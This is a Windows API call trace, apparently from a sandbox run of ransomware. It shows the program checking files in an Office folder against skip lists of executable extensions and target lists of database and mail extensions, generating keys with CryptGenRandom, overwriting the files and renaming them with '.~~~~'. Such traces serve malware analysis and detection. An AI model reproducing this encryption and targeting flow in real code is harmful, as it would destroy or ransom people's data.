	[0134.812] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0134.812] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0134.812] CloseHandle (hObject=0x114) returned 1
	[0134.812] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c5248
	[0134.813] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msqry32.chm"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msqry32.chm.~~~~")) returned 1
	[0134.815] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c5248 | out: hHeap=0x300000) returned 1
	[0134.815] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0134.816] GetLastError () returned 0x0
	[0134.816] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".scr") returned 0x0
	[0134.816] lstrlenW (lpString=".cmd") returned 4
	[0134.816] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".cmd") returned 0x0
	[0134.816] lstrlenW (lpString=".dll") returned 4
	[0134.816] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".dll") returned 0x0
	[0134.816] lstrlenW (lpString=".bat") returned 4
	[0134.816] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".bat") returned 0x0
	[0134.816] lstrlenW (lpString=".cpl") returned 4
	[0134.816] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".cpl") returned 0x0
	[0134.816] lstrlenW (lpString=".sys") returned 4
	[0134.816] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".sys") returned 0x0
	[0134.817] lstrlenW (lpString=".msc") returned 4
	[0134.817] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".msc") returned 0x0
	[0134.817] lstrlenW (lpString=".com") returned 4
	[0134.817] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".com") returned 0x0
	[0134.817] lstrlenW (lpString=".lnk") returned 4
	[0134.817] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".lnk") returned 0x0
	[0134.817] lstrlenW (lpString=".msp") returned 4
	[0134.817] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".msp") returned 0x0
	[0134.817] lstrlenW (lpString=".pif") returned 4
	[0134.817] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".pif") returned 0x0
	[0134.817] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0134.817] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch="msp\r\n.pif") returned 0x0
	[0134.817] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0134.820] lstrlenW (lpString=".sqb") returned 4
	[0134.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".sqb") returned 0x0
	[0134.820] lstrlenW (lpString=".ost") returned 4
	[0134.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".ost") returned 0x0
	[0134.820] lstrlenW (lpString=".txt") returned 4
	[0134.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".txt") returned 0x0
	[0134.820] lstrlenW (lpString=".mdt") returned 4
	[0134.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".mdt") returned 0x0
	[0134.820] lstrlenW (lpString=".BDB") returned 4
	[0134.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".BDB") returned 0x0
	[0134.820] lstrlenW (lpString=".eql") returned 4
	[0134.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".eql") returned 0x0
	[0134.820] lstrlenW (lpString=".DBF") returned 4
	[0134.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".DBF") returned 0x0
	[0134.820] lstrlenW (lpString=".EQL") returned 4
	[0134.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".EQL") returned 0x0
	[0134.820] lstrlenW (lpString=".FDB") returned 4
	[0134.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".FDB") returned 0x0
	[0134.820] lstrlenW (lpString=".EDB") returned 4
	[0134.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".EDB") returned 0x0
	[0134.820] lstrlenW (lpString=".DACPAC") returned 7
	[0134.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".DACPAC") returned 0x0
	[0134.820] lstrlenW (lpString=".VHD") returned 4
	[0134.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".VHD") returned 0x0
	[0134.820] lstrlenW (lpString=".DBV") returned 4
	[0134.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".DBV") returned 0x0
	[0134.821] lstrlenW (lpString=".dacpac") returned 7
	[0134.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".dacpac") returned 0x0
	[0134.821] lstrlenW (lpString=".sdf") returned 4
	[0134.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".sdf") returned 0x0
	[0134.821] lstrlenW (lpString=".accdb") returned 6
	[0134.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".accdb") returned 0x0
	[0134.821] lstrlenW (lpString=".DBX") returned 4
	[0134.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".DBX") returned 0x0
	[0134.821] lstrlenW (lpString=".MDT") returned 4
	[0134.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".MDT") returned 0x0
	[0134.821] lstrlenW (lpString=".SQB") returned 4
	[0134.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".SQB") returned 0x0
	[0134.821] lstrlenW (lpString=".vhd") returned 4
	[0134.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".vhd") returned 0x0
	[0134.821] lstrlenW (lpString=".bac") returned 4
	[0134.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".bac") returned 0x0
	[0134.821] lstrlenW (lpString=".mdf") returned 4
	[0134.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".mdf") returned 0x0
	[0134.821] lstrlenW (lpString=".BAK") returned 4
	[0134.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".BAK") returned 0x0
	[0134.821] lstrlenW (lpString=".BAC") returned 4
	[0134.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".BAC") returned 0x0
	[0134.821] lstrlenW (lpString=".dbs") returned 4
	[0134.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".dbs") returned 0x0
	[0134.821] lstrlenW (lpString=".vhdx") returned 5
	[0134.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".vhdx") returned 0x0
	[0134.822] lstrlenW (lpString=".NDF") returned 4
	[0134.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".NDF") returned 0x0
	[0134.822] lstrlenW (lpString=".dat") returned 4
	[0134.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".dat") returned 0x0
	[0134.822] lstrlenW (lpString=".DBS") returned 4
	[0134.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".DBS") returned 0x0
	[0134.822] lstrlenW (lpString=".CKP") returned 4
	[0134.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".CKP") returned 0x0
	[0134.822] lstrlenW (lpString=".edb") returned 4
	[0134.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".edb") returned 0x0
	[0134.822] lstrlenW (lpString=".PST") returned 4
	[0134.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".PST") returned 0x0
	[0134.822] lstrlenW (lpString=".dbf") returned 4
	[0134.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".dbf") returned 0x0
	[0134.822] lstrlenW (lpString=".SQL") returned 4
	[0134.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".SQL") returned 0x0
	[0134.822] lstrlenW (lpString=".pst") returned 4
	[0134.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".pst") returned 0x0
	[0134.822] lstrlenW (lpString=".dbv") returned 4
	[0134.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".dbv") returned 0x0
	[0134.822] lstrlenW (lpString=".SDF") returned 4
	[0134.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".SDF") returned 0x0
	[0134.822] lstrlenW (lpString=".dtxs") returned 5
	[0134.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".dtxs") returned 0x0
	[0134.822] lstrlenW (lpString=".db3") returned 4
	[0134.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".db3") returned 0x0
	[0134.822] lstrlenW (lpString=".OST") returned 4
	[0134.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".OST") returned 0x0
	[0134.823] lstrlenW (lpString=".dbx") returned 4
	[0134.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".dbx") returned 0x0
	[0134.823] lstrlenW (lpString=".DB3") returned 4
	[0134.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".DB3") returned 0x0
	[0134.823] lstrlenW (lpString=".DAT") returned 4
	[0134.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".DAT") returned 0x0
	[0134.823] lstrlenW (lpString=".VHDX") returned 5
	[0134.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".VHDX") returned 0x0
	[0134.823] lstrlenW (lpString=".ndf") returned 4
	[0134.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".ndf") returned 0x0
	[0134.823] lstrlenW (lpString=".DB") returned 3
	[0134.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".DB") returned 0x0
	[0134.823] lstrlenW (lpString=".sql") returned 4
	[0134.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".sql") returned 0x0
	[0134.823] lstrlenW (lpString=".MYD") returned 4
	[0134.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".MYD") returned 0x0
	[0134.823] lstrlenW (lpString=".DBT") returned 4
	[0134.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".DBT") returned 0x0
	[0134.823] lstrlenW (lpString=".ACCDB") returned 6
	[0134.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".ACCDB") returned 0x0
	[0134.823] lstrlenW (lpString=".fdb") returned 4
	[0134.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".fdb") returned 0x0
	[0134.824] lstrlenW (lpString=".bak") returned 4
	[0134.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".bak") returned 0x0
	[0134.824] lstrlenW (lpString=".myd") returned 4
	[0134.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".myd") returned 0x0
	[0134.824] lstrlenW (lpString=".DTXS") returned 5
	[0134.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".DTXS") returned 0x0
	[0134.824] lstrlenW (lpString=".ckp") returned 4
	[0134.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".ckp") returned 0x0
	[0134.824] lstrlenW (lpString=".dbt") returned 4
	[0134.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".dbt") returned 0x0
	[0134.824] lstrlenW (lpString=".db") returned 3
	[0134.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".db") returned 0x0
	[0134.824] lstrlenW (lpString=".TXT") returned 4
	[0134.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".TXT") returned 0x0
	[0134.824] lstrlenW (lpString=".MDF") returned 4
	[0134.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".MDF") returned 0x0
	[0134.824] lstrlenW (lpString=".bdb") returned 4
	[0134.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".bdb") returned 0x0
	[0134.824] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0134.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0134.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0134.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0134.825] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0fb0) returned 1
	[0134.826] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0134.826] CryptReleaseContext (hProv=0x3a0fb0, dwFlags=0x0) returned 1
	[0134.826] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0134.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0134.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0134.826] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25481638696) returned 1
	[0134.826] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb9ceec90, dwHighDateTime=0x1d60e1e)) 
	[0134.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0134.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0134.827] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0134.827] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38cbd0
	[0134.827] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0134.827] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38cbd0 | out: hHeap=0x300000) returned 1
	[0134.827] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0134.827] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0134.827] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0134.827] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0134.827] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c5080
	[0134.827] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0134.827] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0134.827] GetLastError () returned 0x0
	[0134.828] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0134.828] GetLastError () returned 0x0
	[0134.829] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffff8f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0134.829] WriteFile (in: hFile=0x114, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x71, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0x71, lpOverlapped=0x0) returned 1
	[0134.830] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0134.830] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0134.830] WriteFile (in: hFile=0x114, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0134.830] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0134.830] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0134.830] CloseHandle (hObject=0x114) returned 1
	[0134.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x398948
	[0134.831] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_k_col.hxk"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_k_col.hxk.~~~~")) returned 1
	[0134.833] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0134.833] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0134.833] GetLastError () returned 0x0
	[0134.833] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".scr") returned 0x0
	[0134.833] lstrlenW (lpString=".cmd") returned 4
	[0134.834] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".cmd") returned 0x0
	[0134.834] lstrlenW (lpString=".dll") returned 4
	[0134.834] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".dll") returned 0x0
	[0134.834] lstrlenW (lpString=".bat") returned 4
	[0134.834] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".bat") returned 0x0
	[0134.834] lstrlenW (lpString=".cpl") returned 4
	[0134.834] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".cpl") returned 0x0
	[0134.834] lstrlenW (lpString=".sys") returned 4
	[0134.834] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".sys") returned 0x0
	[0134.834] lstrlenW (lpString=".msc") returned 4
	[0134.834] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".msc") returned 0x0
	[0134.834] lstrlenW (lpString=".com") returned 4
	[0134.834] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".com") returned 0x0
	[0134.834] lstrlenW (lpString=".lnk") returned 4
	[0134.834] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".lnk") returned 0x0
	[0134.834] lstrlenW (lpString=".msp") returned 4
	[0134.834] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".msp") returned 0x0
	[0134.834] lstrlenW (lpString=".pif") returned 4
	[0134.834] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".pif") returned 0x0
	[0134.834] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0134.834] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0134.834] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0134.838] lstrlenW (lpString=".sqb") returned 4
	[0134.838] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".sqb") returned 0x0
	[0134.838] lstrlenW (lpString=".ost") returned 4
	[0134.838] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".ost") returned 0x0
	[0134.838] lstrlenW (lpString=".txt") returned 4
	[0134.838] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".txt") returned 0x0
	[0134.838] lstrlenW (lpString=".mdt") returned 4
	[0134.838] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".mdt") returned 0x0
	[0134.838] lstrlenW (lpString=".BDB") returned 4
	[0134.838] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".BDB") returned 0x0
	[0134.838] lstrlenW (lpString=".eql") returned 4
	[0134.838] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".eql") returned 0x0
	[0134.838] lstrlenW (lpString=".DBF") returned 4
	[0134.838] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".DBF") returned 0x0
	[0134.838] lstrlenW (lpString=".EQL") returned 4
